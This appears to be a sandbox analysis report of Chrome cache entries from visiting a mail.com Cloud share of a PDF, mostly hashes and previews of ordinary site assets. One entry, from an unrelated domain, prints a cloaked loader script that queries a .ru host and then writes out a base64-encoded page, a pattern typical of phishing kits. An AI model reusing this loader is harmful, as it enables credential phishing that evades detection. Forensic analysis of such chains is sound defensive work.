                                              Preview:var TcfApi=function(e){"use strict";var t,s;e.TcfApiCommands=void 0,(t=e.TcfApiCommands||(e.TcfApiCommands={}))[t.getTCData=0]="getTCData",t[t.ping=1]="ping",t[t.addEventListener=2]="addEventListener",t[t.removeEventListener=3]="removeEventListener",t[t.updateTCString=4]="updateTCString",t[t.getTCString=5]="getTCString",t[t.getACString=6]="getACString",t[t.getPermission=7]="getPermission",t[t.getPermissionFeatures=8]="getPermissionFeatures",t[t.getTCFVersion=9]="getTCFVersion",t[t.getTCLastUpdated=10]="getTCLastUpdated",t[t.getTCStringUtil=11]="getTCStringUtil",t[t.getAppInfo=12]="getAppInfo",t[t.getConsentState=13]="getConsentState",e.PermissionFeatures=void 0,(s=e.PermissionFeatures||(e.PermissionFeatures={}))[s.publisher=0]="publisher",s[s.purpose=1]="purpose",s[s.vendor=2]="vendor",s[s.special=3]="special",s[s.brainTracking=4]="brainTracking",s[s.uimservTracking=5]="uimservTracking",s[s.agofTracking=6]="agofTracking",s[s.tgp=7]="tgp",s[s.oewaTracking=8]="oewaTracking",s[s.googleAna

                                              Chrome Cache Entry: 102

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:ASCII text, with very long lines (65536), with no line terminators
                                              Category:downloaded
                                              Size (bytes):517032
                                              Entropy (8bit):5.616100893486667
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:E2E4487E769C07FAD3B82F990C6B3844
                                              SHA1:275CCBFA65CA7E1F0083A329AFC0CBD92E1BE3B5
                                              SHA-256:EB352A147D614941A953D7C763C57EA4339B8DC26FD60AFCD70F065C3E10071C
                                              SHA-512:A2CAA67E34967944252D360CBF65240B3EBE767D1EBC3963DF3471F1E108FE1C799531702E79B922AFB500489F7712244443F67D6AA6FF1A10A8D4D955A90134
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://s.uicdn.com/cloudclient/mailcom/vendor.575a0f5ba1d461af.js
                                              Preview:(self.webpackChunkcloud=self.webpackChunkcloud||[]).push([[736],{73717:(ue,A)=>{"use strict";A.__esModule=!0,A.features={touchevents:function(){var s=!1;return("ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch)&&(s=!0),s}}},45863:(ue,A,p)=>{"use strict";A.__esModule=!0;var s=p(46620);A.PERSONAL_DATA_ATTRIBUTES=["resolutionw","resolutionh","ppi","iid","hid","viewportw","viewporth","contentid","size","campaign"],A.tcf2Filter=function(y,D,E){"pakpie"===y.key&&(s.getTcfConsent("brainTracking",2)||Object.keys(D).forEach(function(g){A.PERSONAL_DATA_ATTRIBUTES.forEach(function(T){0===g.indexOf(T)&&delete D[g]})}))}},40282:(ue,A,p)=>{"use strict";A.__esModule=!0;var s=p(97867),y=p(88178),D=function(g){return s.util.createUrl(g)},E=function(g){var b=new Image(1,1);return new Promise(function(O,w){b.addEventListener("load",function(){O("load")}),b.addEventListener("error",function(){w("error")}),b.addEventListener("abort",function(){w("abort")}),b.src=g,y.logger.lo

                                              Chrome Cache Entry: 103

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:JSON data
                                              Category:downloaded
                                              Size (bytes):966
                                              Entropy (8bit):5.709040244337528
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:C24D913BAD6630F7227E30220FE7024F
                                              SHA1:F9A3584E3B616284763776958F216039A068F162
                                              SHA-256:62E4057470F4114FA5A59964B75CCB7FFE27CF74485B76B71F6D98B9784DC4CD
                                              SHA-512:50CED7D28F062AABE9005327C2634542B1AE5E6F74AC4589754519425FE16D065A6F3F7F74A7D7125A4EA1177C5662135CF297D0779B31096B9628937FCA93F4
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://c.mail.com/restfs/guest/@1330138059395571831/share/wNcKR19EQGCH-PAeqcF_hg/resourceAlias/ROOT?option=download&option=open
                                              Preview:{"ui:link":{"downloadURI":"https://cgateu03maus.storage-mailcom.com/cgate-maus/rest/document/os-live-maus/1330158755534348610/1342607526121710547/Document%2001660.pdf?x_cd=attachment&c=ABJ1mYSEgCB3EqHNq6HAJ80AAAGN0rM-KP__wNcKR19EQGCH-PAeqcF_hg&t=1708645876103&h=9EfvG58O9E5uKKTI_GYoyrOmTtg","openURI":"https://cgateu03maus.storage-mailcom.com/cgate-maus/rest/document/os-live-maus/1330158755534348610/1342607526121710547/Document%2001660.pdf?x_cd=inline&c=ABJ1mYSEgCB3EqHNq6HAJ80AAAGN0rM-KP__wNcKR19EQGCH-PAeqcF_hg&t=1708645876103&h=9EfvG58O9E5uKKTI_GYoyrOmTtg"},"ui:fs":{"creationMillis":1708636971706,"size":70906,"metaETag":"AAABjdKzoiMAAAGN0rM-KA","resourceURINumeric":"../resource/1342580300969945037","lastResourceOperation":"UPLOAD","name":"Document 01660.pdf","contentETag":"aVjCjZZrXy9mffqdmMM_crHrCczgKAatQgKr_bUaVt0","resourceURI":"ROOT","version":1387479363,"modificationMillis":1708637004323,"resourceType":"file","lastResourceOperationClient":"N7WEB"}}

                                              Chrome Cache Entry: 104

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:JSON data
                                              Category:downloaded
                                              Size (bytes):1111
                                              Entropy (8bit):5.350196071994622
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:48870B054220E22C4E60D58BA7C8566D
                                              SHA1:71AF75128A8DBC21675B69A38E5A9D990B88BE69
                                              SHA-256:5B89079A44EA7B27E9E81F073F14D71325BD22ECE40AC16EEB648C4C2FD9BD88
                                              SHA-512:6379DE384AAB29003EB668C5E3B7DD427001DE85DF563B49C08B95D8ACE6270CE7DA0EE4F942D6018F7DD50F05B17061C9D4D4ABAF3C77D526802E37D4F0EC0A
                                              Malicious:false
                                              Reputation:unknown
                                              URL:"https://c.mail.com/restfs/guest/@1330138059395571831/share/wNcKR19EQGCH-PAeqcF_hg/resourceAlias/ROOT?option=shares&option=thumbnails&option=metadata&option=props&option=displayresource&sort=resourceType-a,ui:media.visual-a,name-a&length=1001&offset=0"
                                              Preview:{"ui:meta:document":{"tw":"1920","th":"1920","dominantcolor":"2251a3","extractor":"0"},"ui:meta:user":{"createtime":"16:22:51.706","created":"2024-02-22T16:22:51.706","createdate":"2024-02-22","createdYearMonth":"2024-02"},"ui:meta:resource":{"extension":"pdf","name":"Document 01660","mimetype":"application/pdf"},"ui:share":{"share":[{"name":"Document 01660.pdf","resourcePermission":{"readable":true,"writable":false,"deletable":false,"notificationEnabled":true},"expirationMillis":1740259400889,"ownerName":"@1330138059395571831","hasPin":false}]},"ui:link":{"thumbnailURI":"https://sdthumbs-us.ui-static.net/t/maus/aVjCjZZrXy9mffqdmMM_/EnWsVzaAIUISoeZue0Aj0w.jpg?h=l2sqvL7LEIQocFpo8vL-8A&e=1708729200"},"ui:fs":{"creationMillis":1708636971706,"size":70906,"metaETag":"AAABjdKzoiMAAAGN0rM-KA","resourceURINumeric":"../resource/1342580300969945037","lastResourceOperation":"UPLOAD","name":"Document 01660.pdf","contentETag":"aVjCjZZrXy9mffqdmMM_crHrCczgKAatQgKr_bUaVt0","resourceURI":"ROOT","versi

                                              Chrome Cache Entry: 105

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (65531), with no line terminators
                                              Category:downloaded
                                              Size (bytes):135139
                                              Entropy (8bit):4.984647988193556
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:89D7190BF22BA98BFF07D08B6388FF6E
                                              SHA1:A09A046E0BFE829033B14CAE89A9DCBDAA027E6F
                                              SHA-256:9B14614A0B928DA9C33AA5ED98456AEFA7E0FD714A6CB7253D3E3D902284D925
                                              SHA-512:2CC5C8EF78586AB813D622092886BD6DCE930757C3EFEEFE53A4F42463831E8FDFFF261B46C5D9E756B4AE05D6961D5E6C69FDFAF09969020E04206D6CCA9F52
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://s.uicdn.com/cloudclient/mailcom/assets/style/cloud_intensebluectagreen-89d7190b.css
                                              Preview:./*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:rgba(0,0,0,0)}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{background:#ff0;color:#000}small{font-size:12px;line-height:18px;font-family:Verdana,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#333}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,sam

                                              Chrome Cache Entry: 106

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:Web Open Font Format, TrueType, length 23632, version 1.0
                                              Category:downloaded
                                              Size (bytes):23632
                                              Entropy (8bit):7.975884934681758
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:8184D32170016CF23A5ABFCBAF3DC7E1
                                              SHA1:456F5ABF4F3E52170B584FB1891A1FFAA5146992
                                              SHA-256:14BF0223FBC9B07E4DA898E9EE7E9BDC964DBD09E5D21507A39038A67CE52F46
                                              SHA-512:6B7C61937374FF3DF4892B722E5D147AD4A1125EAC08A296A5CC87BB5076272F0DCB94554D69B305197C9C82D6553F825EE200703B2DE72BE56E3ED3B1CFF63A
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://img.ui-portal.de/ci/mailcom/global/fonts/DroidSans/DroidSans-webfont.woff
                                              Preview:wOFF......\P.......T........................FFTM............_.6 GDEF........... ....GPOS.......E.....v.8GSUB....... ... l.t.OS/2...8...^...`...qcmap...............cvt ...,...8...8...Efpgm...d.......e../.gasp................glyf... ..F...q....head..T....1...6...xhhea..TD... ...$...}hmtx..Td...3......X.loca..V...........maxp..Xp... ... ....name..X.........&.A.post..Y............prep..[........`m .x.c```d...... .....(]..C....x.c`d``..b...`b....I.0....l.....x..[lTE....R..-Kq........T*.*..-..X....54./.!>x.......n./$..._Z.)P.b|0..=B..(.21<..~g..v.u7\....9g......f.......%y.y...o.D.G....<....M"w<.r.q.~kz.*W.Gy.=.^.w............kJ...J.N...c..9.r'.d..Q...l(.m...g....m?..S../..(.....5.y.y.~?.-....6.....Z..E..)...1Z.......F.?...;u.[..6s.M.O...&....@..B..bX"...e\.Q..-).2(......J.m.M..*......P....v..d.....8.....1Z....:..N..8.=...y.......^......9.......J.B...K.c......a8.G..(..._.W.5...%...Z..!..p.......uH.H..b.R4R4R4R4R4R4R4R4R4R4R..b.#.....D#1..e),3.5=.<@.[.F..a...

                                              Chrome Cache Entry: 108

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:ASCII text, with very long lines (65536), with no line terminators
                                              Category:downloaded
                                              Size (bytes):1190303
                                              Entropy (8bit):5.566189215613645
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:CE417A64CA8298477605609EB277E043
                                              SHA1:C1ADFC05CB810F679ABEEAA4545BF954405652E7
                                              SHA-256:BF6C152E6F2BC737EC8CAA5C83715DDA4B937BD3CEA8B7CABDF0B345808A4BE2
                                              SHA-512:F5B162003C5A0FD9AF1AFFDBAB8BCE3858C199A9BF7B514B198332176B28F02996167ED8285683B736040FE7AC9852507FF414B83D7DC72EC65442231E5EA81C
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://s.uicdn.com/cloudclient/mailcom/main.1e73a537ca374641.js
                                              Preview:(self.webpackChunkcloud=self.webpackChunkcloud||[]).push([[179],{51893:(Mi,ds,z)=>{"use strict";var Ct=z(36480),t=z(29039);z(4700);var yt=z(20788),re=z(54860),g=z(26575),qe=z(59408);const ps=JSON.parse('{"de":{"JANUARY":"Januar","FEBRUARY":"Februar","MARCH":"M\xe4rz","APRIL":"April","MAY":"Mai","JUNE":"Juni","JULY":"Juli","AUGUST":"August","SEPTEMBER":"September","OCTOBER":"Oktober","NOVEMBER":"November","DECEMBER":"Dezember","TODAY":"Heute","YESTERDAY":"Gestern","FOLDER_SHARED":"Alle Freigaben","FOLDER_TRASH":"Papierkorb","FOLDER_ATTACHMENT":"Neue Dateianlagen","FOLDER_SEARCH":"Suche","FOLDER_TIMELINE":"Fotos & Videos","FOLDER_LAST_EDITED":"Zuletzt bearbeitet","EMPTY_FOLDER":"Keine Dateien vorhanden","PROPERTY_TYPE":"Typ","PROPERTY_NAME":"Name","PROPERTY_SHARES":"Freigaben","PROPERTY_FILESIZE":"Gr\xf6\xdfe","PROPERTY_PARENT":"Verzeichnis","PROPERTY_MODIFICATIONMILLIS":"Ge\xe4ndert","PROPERTY_CREATIONMILLIS":"Erstellt","PROPERTY_SHARED_DATE":"Freigegeben am","PROPERTY_EXPIRATIONMILLIS"

                                              Chrome Cache Entry: 109

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:ASCII text, with very long lines (10043)
                                              Category:downloaded
                                              Size (bytes):45571
                                              Entropy (8bit):5.434706803416524
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:8B6A71F8D94487CA7BD2FA739AD0F786
                                              SHA1:E436754B56ED6466F5D67FB04EFD4BB1D6844FD1
                                              SHA-256:13A52E405A5F75CFC1351D658C6050700E9AD35740934F3308C4795E1DF066D0
                                              SHA-512:0D93CE479CE2ABFA116A2C449BC7716814424A06D1B762E94D19CFC790A964BC3C5BBCE12229C724AE2A35A8B23D70F852E25DAC3525705E0B14EB4DBDF8C864
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://s.uicdn.com/t/prod/iq/mam/khaki/daq.js
                                              Preview://tealium universal tag - utag.loader ut4.0.202402211045, Copyright 2024 Tealium.com Inc. All Rights Reserved..var utag_condload=false;window.__tealium_twc_switch=false;try{try{var LogLevel;(function(LogLevel2){LogLevel2[LogLevel2["debug"]=0]="debug";LogLevel2[LogLevel2["info"]=1]="info";LogLevel2[LogLevel2["warn"]=2]="warn";LogLevel2[LogLevel2["error"]=3]="error";LogLevel2[LogLevel2["none"]=4]="none";})(LogLevel||(LogLevel={}));var consoleAppender={debug:function(){var _a;var args=[];for(var _i=0;_i<arguments.length;_i++){args[_i]=arguments[_i];}.(_a=window.console).debug.apply(_a,args);},info:function(){var _a;var args=[];for(var _i=0;_i<arguments.length;_i++){args[_i]=arguments[_i];}.(_a=window.console).info.apply(_a,args);},warn:function(){var _a;var args=[];for(var _i=0;_i<arguments.length;_i++){args[_i]=arguments[_i];}.(_a=window.console).warn.apply(_a,args);},error:function(){var _a;var args=[];for(var _i=0;_i<arguments.length;_i++){args[_i]=arguments[_i];}.(_a=window.console).e

                                              Chrome Cache Entry: 88

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:ASCII text, with very long lines (65536), with no line terminators
                                              Category:downloaded
                                              Size (bytes):216421
                                              Entropy (8bit):5.587336045352583
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:BABFD0DA170950C46CD048057DF5EBB8
                                              SHA1:6B535C38A4E87B2782B395653E762B419FDAA015
                                              SHA-256:07FC06B25E824FE0F21B29190996CCB1A634207EBE558D920B392F9CB40CA1B2
                                              SHA-512:261B5375FA3F784643005A892F168FCDE0819F4BD627CB43758CA8A6DF4D6CF5C5A547F125E0C65E886DFB9E856C258540E5FC7C84CFD381FB1AD7A74BDA2B15
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://s.uicdn.com/cloudclient/mailcom/polyfills.716985145cc1dd51.js
                                              Preview:(self.webpackChunkcloud=self.webpackChunkcloud||[]).push([[429],{28798:()=>{("function"==typeof DataTransfer||"object"==typeof DataTransfer)&&"function"!=typeof DataTransfer.prototype.setDragImage&&(DataTransfer.prototype.setDragImage=(o,f,t,r)=>{const e="setdragimage-ie-dragging-"+Math.round(Math.random()*Math.pow(10,5))+"-"+Date.now(),n=["."+e,"{",'background: url("'+o.src+'") no-repeat #fff 0 0 !important;',"width: "+o.width+"px !important;","height: "+o.height+"px !important;","text-indent: -9999px !important;","border: 0 !important;","outline: 0 !important;","}","."+e+" * {","display: none !important;","}"],a=document.createElement("style");a.innerText=n.join("");const s=document.getElementsByTagName("head")[0];s.appendChild(a),r.classList.add(e),setTimeout(()=>{s.removeChild(a),r.classList.remove(e)},0)})},55321:(o,f,t)=>{"use strict";t(76657),t(49832),t(28798)},76657:()=>{"use strict";!function(O){const C=O.performance;function N(Jt){C&&C.mark&&C.mark(Jt)}function b(Jt,It){C&&C.

                                              Chrome Cache Entry: 89

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:HTML document, ASCII text, with very long lines (65536), with no line terminators
                                              Category:downloaded
                                              Size (bytes):168751
                                              Entropy (8bit):4.661964796903669
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:053AEA7582CC5AD57239F0F0F7FBF164
                                              SHA1:AEDB8C8C2D30A2472848198FD45F0DADC8CBD3BA
                                              SHA-256:0175A266B61B0C4F6D5FD697D7152E725974815883D632F21320CFC09062960F
                                              SHA-512:6508822BD2CF8ADE4841E3F57C3F80DD8A1FEFCFA0EB24BD3F8061E02A5D047638794D0999B97A3AF8B71B3718B1E0C6B6A5B1B6A51284002C6DBA7F8A91ACF2
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://c.mail.com/@1330138059395571831/wNcKR19EQGCH-PAeqcF_hg
                                              Preview:<!doctype html><html><head><meta charset="utf-8"><title>Cloud</title><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><meta name="referrer" content="origin"><meta name="robots" content="noindex"><meta property="og:type" content="website"><meta name="twitter:card" content="summary"><meta property="og:title" content="Your personal share link | mail.com Cloud"><meta name="twitter:title" content="Your personal share link | mail.com Cloud"><meta property="og:image" content="https://c.mail.com/dist/assets/images/logo/mailcom-7944b104.png"><meta name="twitter:image" content="https://c.mail.com/dist/assets/images/logo/mailcom-7944b104.png"><meta property="og:description" content="This link gives you access to the data shared with you."><meta name="twitter:description" content="This link gives you access to the data shared with you."><meta property="og:url" content="mail.com"><meta name="twitter:url" content="mail.com"><link rel="shortcut icon" href="//s.uicdn.

                                              Chrome Cache Entry: 91

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:ASCII text, with very long lines (789)
                                              Category:downloaded
                                              Size (bytes):832
                                              Entropy (8bit):5.067105276493361
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:FF3BC6C451253217ADCB6BFA4C833D0C
                                              SHA1:7AC98B8B8563D433B3E926999785544880434F5E
                                              SHA-256:DE09C4A0EE65D1C59EC0C4944F298A9AD47B98CDE15E116C468D5C09E01BAEC0
                                              SHA-512:5B2CBF1642218386BFA9FE9892380DEAE210AEC3706131501307504696C2AA28850D814AE51EC56C8A4EE27DC52EEAFE0A08B1215E0E02BCBB2D707599B5AFAF
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://s.uicdn.com/cloudclient/mailcom/assets/style/bt_mailcom-ff3bc6c4.css
                                              Preview::root{--font-weight-header: 400;--font-family-header: Droid, Arial, Helvetica, sans-serif;--font-family-hero: Droid, Arial, Helvetica, sans-serif}@font-face{font-family:Droid;font-style:normal;font-weight:400;font-display:swap;src:local("Droid Sans Regular"),local("DroidSans-Regular"),url("https://img.ui-portal.de/ci/mailcom/global/fonts/DroidSans/DroidSans-webfont.woff") format("woff")}.pos-brand-icon--default{width:112px;height:30px;margin-top:5px}.pos-brand-icon--small{width:28px;height:28px;margin-left:8px;font-size:26px}.pos-brand-title{margin-left:16px;font-family:Droid;font-size:28px}.pos-brand-title--small{margin-left:12px;font-size:26px}.pos-brand-title--default{margin-top:-4px}.pos-header__content{margin-top:-1px}.pos-header--small .pos-header__content{margin-top:-2px}./*# sourceMappingURL=bt_mailcom.css.map */

                                              Chrome Cache Entry: 92

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:HTML document, ASCII text, with very long lines (6669), with CRLF line terminators
                                              Category:downloaded
                                              Size (bytes):7438
                                              Entropy (8bit):5.928773847061666
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:C97B46C4138878AFC087FCE2E1FC24D1
                                              SHA1:C2FC85508CEC37FBC37345E0B5ECD3B9DFAE8D8C
                                              SHA-256:03ACC7C5FC5C1880A542BD98D24422CE1F311C0B3D1C2338FABE3EB8A5DE5B91
                                              SHA-512:18A899703C3A0F1F768C7DBF5A088B45F232E5D97B49B80C0FD6B05B236A81F0E08ABD168CC74F2D22A50D4AD036DF97FF3672659A0568838505DD1353D3FAD6
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://36r39.9squa0.com/486bg0t/
                                              Preview:<style>body {.. margin: 0;..}..@keyframes UBBGKBJYXn {.. 0% {.. transform: rotate(0deg);.. }.. 100% {.. transform: rotate(360deg);.. }..}...bZTOnUcZWR {.. border-radius: 50%;.. position: absolute;.. top: 50%;.. left: 50%;.. width: 24px;.. height: 24px;.. border: 0.25rem solid rgb(138 132 132 / 20%);.. border-top-color: black;.. animation: UBBGKBJYXn 1s infinite linear;..}..</style>..<div class='bZTOnUcZWR'></div>..<script>..fetch('https://nvohxxicwod.trcvtoke.ru', {..method: "GET",..}).then(response => {..return response.text()..}).then(text => {..if(text == 0){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4

                                              Chrome Cache Entry: 93

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:JSON data
                                              Category:downloaded
                                              Size (bytes):1240
                                              Entropy (8bit):5.320808147892365
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:D9B4E2ED10776323E44E0BDCF9CAF986
                                              SHA1:6ACA008C2A928CC4DD811E661ADF5950EF55CB62
                                              SHA-256:2243BB311CBEA45EBF8572E7DDA68A1FF14C214424E4E5434CA2934E9F13A8E3
                                              SHA-512:40EBC2F7297D94FFD09255D084246D443396C7C525C21EFEE3DB6B61470A81A203F5189DBA0654393A1A72A406C1ED1A15F421BBCAC66101FD4A41AFDAA43E6F
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://c.mail.com/restfs/guest/@1330138059395571831/share/wNcKR19EQGCH-PAeqcF_hg/shareinfo?option=thumbnails&option=metadata&option=displayresource&option=props
                                              Preview:{"guest":{"guestEMail":"!ano","expirationMillis":1740259400889,"unmountable":true,"permission":{"readable":true,"writable":false,"deletable":false,"notificationEnabled":true},"guestURI":"resourceAlias/ROOT","guestURINumeric":"resource/1342580300969945037","guestInfoURI":"shareinfo"},"name":"Document 01660.pdf","owner":"@1330138059395571831","resource":{"ui:meta:document":{"tw":"1920","th":"1920","dominantcolor":"2251a3","extractor":"0"},"ui:meta:user":{"createtime":"16:22:51.706","created":"2024-02-22T16:22:51.706","createdate":"2024-02-22","createdYearMonth":"2024-02"},"ui:meta:resource":{"extension":"pdf","name":"Document 01660","mimetype":"application/pdf"},"ui:link":{"thumbnailURI":"https://sdthumbs-us.ui-static.net/t/maus/aVjCjZZrXy9mffqdmMM_/EnWsVzaAIUISoeZue0Aj0w.jpg?h=l2sqvL7LEIQocFpo8vL-8A&e=1708729200"},"ui:fs":{"creationMillis":1708636971706,"size":70906,"metaETag":"AAABjdKzoiMAAAGN0rM-KA","resourceURINumeric":"resource/1342580300969945037","lastResourceOperation":"UPLOAD","

                                              Chrome Cache Entry: 95

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x200, components 3
                                              Category:dropped
                                              Size (bytes):3864
                                              Entropy (8bit):7.409354435477143
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:3D1C724CABFED174DC37B96F40C9E3E6
                                              SHA1:4F69C2908324AB4F5EC47C710152E15F3D6EA4D4
                                              SHA-256:6F185E1732DDC5D96061A870E2DA787ECA90FE43FFF158C80BCCC8CB89B00CEF
                                              SHA-512:58888274B06E6D94C8090A80BDA0186614EB1945357DC3C5709C0E93FEA9D4B29A0F203B7AD06D0CE5252A95DFEAB7321A20C180098725DEF49EB206723AAFEA
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(

                                              Chrome Cache Entry: 96

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                              Category:dropped
                                              Size (bytes):1150
                                              Entropy (8bit):3.676726822008033
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:77A9E5007815D923A4964A507953BD2C
                                              SHA1:356A6A4942CAEAC5195D852DDEFF558525074446
                                              SHA-256:33CA72F1EAC56793D1FD811189CEDEF98004A067C85B1143083B564814A4B0DB
                                              SHA-512:1A7DCF9ABC95BD21DCFC78110DDDE628B71263779C4F24361E55A7D18773D1B748CAB978E19FDEF34AD6DBC84D5F8A648A3AF7FE192A8925B254A0AD086C33CD
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:............ .h.......(....... ..... ..........................................................................\&!.b)].b)..c)..................................\&!.b)].b)..c).d+..d+..d+..d+..................\&!.b)].b)..c).d+..d+..d+..d+..d+..d+..d+..d+..U*..c)W.b)..c).d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..c*..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..c)..d+..~..~..d+..d+..d+..~..~..d+..d+..d+..~..~..d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........s>..d+..o9..........s>..d+..o9..........d+..d+..d+..d+................................................d+..d+..d+..d+...............................................O..d+..c).d+..d+.................y..j3..h0..w........q<..d+..d+..c*..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d

                                              Chrome Cache Entry: 97

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:ASCII text, with very long lines (1156)
                                              Category:downloaded
                                              Size (bytes):1209
                                              Entropy (8bit):5.262034682177476
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:C60734020AD124C42CD0992C67C1A66A
                                              SHA1:9211DCF06A9A07C5A2516A070CB5EA1724CC401C
                                              SHA-256:95299D5E56DD9BDD15897C18DA96E27568399E8D6B8A90B1A02252BA4DDC7820
                                              SHA-512:D76860B81CDA65830FE82EC9F51C4BD1F9FD14E293736DB2C95C5EDDFFC200F415DDDAE725DFA7C916F625A86B11F861A42BA47C8582C66D0806F4CBE9964EBB
                                              Malicious:false
                                              Reputation:unknown
                                              URL:https://s.uicdn.com/cloudclient/mailcom/runtime.9fe21320bc1ec1eb.js
